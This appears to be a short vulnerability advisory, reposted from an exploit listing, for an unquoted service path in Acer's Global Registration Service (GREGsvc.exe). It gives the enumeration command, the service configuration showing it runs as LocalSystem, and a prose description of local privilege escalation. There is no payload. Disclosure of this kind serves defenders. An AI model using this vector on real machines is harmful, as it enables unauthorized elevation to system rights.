Global registration service 1.0.0.3 gregsvc.exe unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-12-01 | Type : local | Platform : windows
This exploit / vulnerability Global registration service 1.0.0.3 gregsvc.exe unquoted service path is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path
# Discovery by: Emmanuel Lujan
# Discovery Date: 2020-11-26
# Vendor Homepage: https://www.acer.com/ac/en/US/content/home
# Tested Version: 1.0.0.3
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 7 Home Premium x64

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

GREGService GREGServ
ice C:\Program Files (x86)\Acer\Registration\G
REGsvc.exe Auto

# Service info:

C:\>sc qc GregService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: GREGService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Acer\Registration\GREGsvc.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : GREGService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.